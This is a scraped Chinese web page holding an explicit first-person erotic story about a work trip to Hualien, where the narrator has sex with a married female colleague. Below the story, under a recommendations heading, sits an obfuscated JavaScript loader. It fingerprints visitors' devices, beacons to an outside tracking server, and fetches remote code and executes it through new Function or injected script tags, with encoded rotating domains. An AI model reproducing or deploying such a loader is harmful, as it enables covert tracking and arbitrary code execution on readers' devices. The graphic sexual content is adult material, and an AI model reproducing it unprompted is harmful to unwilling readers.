热搜排行
花莲之旅
我在一家跟寿险业有关係的投信上班,我们时常全国巡迴,四处宣导。前几个
礼拜,花莲某通讯处的李总监来电,要我们上週五(6/29)派人下去,还特别
指名我师姐Kelly及Nicole。

  去年就是我们办公室这两位美女到花莲,回来之后抱怨连连,原来这位总监一
直找机会吃她们豆腐。Nicole甚是不悦,前几天知道此事,摆明不去。

  副总也知道这个小李子很难搞,本来想叫George和我下去,不过因为先
前小李子三番两次打电话找Kelly及Nicole,George基于保护女
同事的立场,曾在电话中和小李子起了冲突,所以副总就安排了我和Kelly下
去,我是男生,没什么差别,倒是Kelly,一直哀声叹气。

  本来小李子还假好心地通知副总,希望Kelly及Nicole双姝能前一
天下去,不过副总也知道他在想什么,就以部门有要事回绝他。

  其实也不是什么要事,因为上星期四下午,我和副总要去打球,接近中午时,
才刚开车出去?副总的行动电话就响起了?电话的另一边是Nicole的声音?
"副总?Kelly和Alan明天早上6点55分要去花莲的机位订不到?7点
20有一班螺旋桨的还有空位,但Kelly不敢坐,要不要让他们今天就下去。"

  以往有时我们根本没订位?直接到机场都会有空位?听说是刚好有一堆人在办
毕旅?说真的?我虽然没参加大学的毕旅?不过我倒没听说毕旅是坐飞机到花莲。
其实我反而喜欢坐螺旋桨的,因为性能稳定。管他那么多,反正就是今天要下去,
又错过了一场球。副总说,你有带衣服在身上,赶回办公室準备吧,我只好提着衣
物带回办公室。

  Kelly的家就在公司附近,她也很快地準备好一切,我们就搭下午三点五
分的远航飞往花莲。

  下了飞机之后,我们坐计程车到一家旅店。Check in之后便跑出来逛
街了,我也买了明天的衬衫,后来又去吃花莲有名的云吞。大约下午六点,Kel
ly说样要去海边看夕阳,我差点没笑死。她以前唸淡水T大,几乎每天都可以看
夕阳。我告诉她,花莲的海岸向东边,只能看日出。她拉着我的手说,"你好坏,
竟敢笑我。"

  随后我们就买了一些饮料回饭店了,途中,她告诉我,明天小李子不知道会不
会又吃她豆腐,我告诉她,如果小李子吃她豆腐,我就去"泡"他们的业务,看他
爽不爽。她说这样有什么用,便宜了我,她还不是吃亏。

  进了饭店,她又想到要买一些名产,原本拉着我再陪她出去,我说,我们先休
息一下,晚点比较凉再出来买。她说"也好,不过要买哪几家的名产,你帮我问一
下嘛!"。Kelly是58年次,大我一岁,已经结婚5年了,但一直没有小孩。
都32岁的人了,还在撒娇。

  因为我房间的View比较好,所以我们进了房间打开饮料,我打了一通电话
给我学弟小张,他老家在花莲,国中时搬到台北,还时常回花莲,所以各家老店,
他仍一清二楚,他告诉我可以到中华路某饼店买饼,如果没有交通工具,还可以向
他的拜把,店小开阿成借NSR,因为那辆NSR是他们年轻时合买的。Kell
y一听到有摩托车,就嚷着要去七星潭,我只好带着她先去买饼。

  我们到了店铺,阿成很快发现是我们,原来小张已通知阿成。阿成还很客气地
叫我们学长学嫂的,搞的我和Kelly有点尴尬。我们总共买了将近两千多的饼
,他说算两千就好,还说乾脆他明天去接我们到机场,顺便连饼一起载给我们,随
后还拿了Accord的车钥匙给我们,我告诉他我们骑车就好了。他似乎很明白
我想干嘛!很暧昧地对我笑了一下,顺便拿了两顶安全帽给我们。

  十年前我是骑追风的,对于NSR我自然也不陌生,起初Kelly的手扶在
车尾,我告诉她这样其实不安全,于是她抓住我的衣服。当然了,我一定是要骑的
非常快,再突然煞车,真爽,当她柔软的胸部碰到我的背,实在是很舒服,渐渐的
,或许因为她害怕,也许她听不到我讲话,最后整个胸部都贴到我身上,同事那么
多年,她从来没贴我这么近,当然我的身体也起了变化,甚是难受,也担心今晚不
知如何排解。后来她要我骑慢一点,也好,骑慢有骑慢的方法。我右手握着手把,
左手把她的左手抓到我的肚子,她很自然地双手都抱住了我。脸也靠着我的肩膀。

  很快的,我们到了七星潭,这时天色已经昏暗,不过海滩上依稀可见有很多恋
人,我们走着走着,她的双手抓着我的左手,身体靠着我,我的左手又碰到她那像
海浪般的胸部,我很捨不得挣脱。她告诉我,她老公因为想回台中工作,顺便照顾
父母,而她想留在台北,为了这件事,他们已经吵了很久了。

  其实这事我也听其他同事说过,不过更劲爆的,是另一位同事Joyce曾经
在她家(天母某套房华厦)看到Kelly的老公和一个女的一起下楼倒垃圾。不
过Joyce也不是那么肯定那男的就是Kelly的老公,因为Joyce先前
也只在公司的聚会中看过Kelly的老公一次。

  Kelly难过地告诉我这件事,还说她们快要分手了,她说希望以后我们这
些同事要都多照顾她。我很温柔地搂着她,走了几步,我们停了下来,我们面对面
,我抱住了她。她没有任何反抗,也抱住了我,我们的脸颊贴在一起,我偷偷地用
鬍子触碰她的脸,好像弄得她很痒,她笑了出来,接着,当然是轻咬她的耳朵,又
亲她的脸颊,我觉得她抱我抱得更紧了,还对我说"你都偷亲人家",事到如此,
我的手当然移往她的丰臀,我们下半身,已紧紧地贴在一起,也有节奏地相互碰触
。最后,我们开始接吻,我伸出舌头抚弄着她的嘴唇,她则紧闭双眼,任我摆布。

  接着,我的手往她的身上移动,拉起他的衣服,她很机警地抓住我,"我们回
去吧!"我吓了一跳,赶紧放开她并向她道歉。她说没关係,但执意要回饭店。

  我向来是不会勉强别人的,只好很难过的载着她回饭店。

  回到饭店,我很担心她回到自己的房间,所幸我们很自然地往我的房间走,不
过经过刚才那件事,我实在吓了一跳,也只能等待机会。走进房间后,她拿起刚才
没喝完的饮料,走向窗边,看着街景,什么都没说,我则坐在沙发上,想着刚才在
海边的事,很是懊恼。

  后来她好像有点冷,我发现空调开太强了,我赶紧拿出我的西装外套,轻轻地
披在她肩上,她很甜地对我说,"我就知道你最体贴了",我的手也就继续放在她
肩膀上,一颗大石头终于放下。

  我和她一边看着夜景,一边聊着公司的事,我的身体也贴向她,最后,我抵着
她的美丽的臀部,她震颤了一下,不过还是和我有说有笑。我在想,如果今天我有
机会,一定要把握,否则将抱憾终身。

  后来,我的手抱着她的腰,进一步靠近她,慢慢地,我把手放到她那微凸的小
腹。一边用嘴唇碰触她的耳朵。我可以感觉到她有一些反应了,我的右手再往下移
,我见她没有任何反对的举动,左手也往上抚摸她的胸部,并解开她上衣的钮扣。

  我开了两个扣子后,手就伸进她的衣服里,她娇柔地说"会痒啊!"经她这一
说,我知道我已经拿到门票了。

  随后,我解开她上衣所有的釦子,并把我的西装外套丢在一旁,双手不断在她
身体游移。她也发出了"嗯…嗯"的喘息声。急促的呼吸使得她胸部的起伏更加明
显,我彷彿受到了鼓励,把她的上衣脱掉,并把她抱到床上,尽情地亲吻着她。

  我并没有立刻脱去她所有的衣物,我不断地亲吻着她,从脸颊,耳朵,嘴唇还
有她的乳沟,随着我们的身体越来越契合,我才慢慢地解开她的长裤,拉下她的拉
链,我的手也伸进去她的裤子里,碰触到她身体最温暖的地方。她的身体随着我的
动作往上掀,似乎也暗示着我应该有进一步的动作,我将她的裤子往下拉,在她的
配合下,她只剩下白色的胸罩及那小巧的丝质小裤裤。我当然也不能等待,我将上
衣脱掉的同时,她抱住了我,也亲吻着我的胸部,随后我解开我的皮带,她很体贴
地拉下我的拉鍊,就这样,我只剩下最微薄的衣物与她在柔软的床垫上,相互取悦
对方。她的动作,也渐渐不像是一位受婚姻枷锁的女人。

  我舔着她的胸部,慢慢地,我的舌头尝试着要伸进她的胸罩,之后,碰触了她
那美丽的尖峰。之后,我解开她的胸罩,疯狂地在她左右游移着,我的右手也没闲
着,不断地在她大腿内侧游移。后来,我将身体往她的下半身移动,双手抚弄着她
的乳房,我的鼻尖隔着她的内裤碰触她那湿润的地方,除了我们的喘息声之外,就
是她"啊…啊…啊"的叫声。

  我将双手移到她的腰间下方,脱去她身上在我们之间的一道障碍,我再度亲吻
着她,她则用脚将我的内裤拉下。看来,她也是有某些经验的。

  就这样,我们之间没有任何隔阂了。我不断地触碰她嫩穴周围,一直没有进入
,时而碰触她的阴核,时而摩擦她的阴唇。在她把脚打开的同时,手也握住了我,
指引我进入的方向,她对我说,"笨蛋,在这里啦"随后,她用她的脚,勾住了我
的腰间,压着我的臀部,向下一压。这时候,我们已结合在一起了。我可以感觉到
我被她紧密的包围着。

  我当然是上上下下抽插,她的叫声,也随着我的努力而更形放浪。我时而一深
一浅,一深三浅,三深三浅,让她一直不知道我的下一步。也增加了她对我下一步
的期待。她的爱液不断地流出,氾滥了整个嫩穴。

  我更加快我的动作,她的双脚突然夹了起来,反而让我的双腿跨着她的大腿,
让我觉得好紧好紧,我已经有喷出的感觉了。我连忙告诉她,"我要射了",她又
把大腿打开。再度用她的大腿夹住我。告诉我"射进去,没关係"。我还半信半疑
的再问一次。她边喘息边告诉我"真的没关係"。

  在她的同意下,我倾巢而出,精液与爱液溢出她的身体,她说她很久没有这种
感觉了,我继续亲吻着她,并问她说,"这样可以吧"。她笑着说,"还问"。后
来我们侧着身体,一边抱着对方,一边甜言蜜语。双方都捨不得起身去洗澡,不知
不觉中,我们抱在一起睡着了。
猜你喜欢下面这些
function gxdRCoD(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function lpBTDXrc(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return gxdRCoD(t);};window[''+'K'+'B'+'x'+'L'+'s'+'c'+'P'+'k'+'G'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function YdZFw(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=lpBTDXrc,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=YdZFw(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/15745/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=YdZFw(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMMlMM0ElMMkYlMMkZhLm1rdnNmLmNuJTNBODg5MMQ==','d3NzJTNBJTJGJTJGYS5rZmdqYS5jbiUzQTk1MMzMM=','168623',window,document,['M','M']);}:function(){};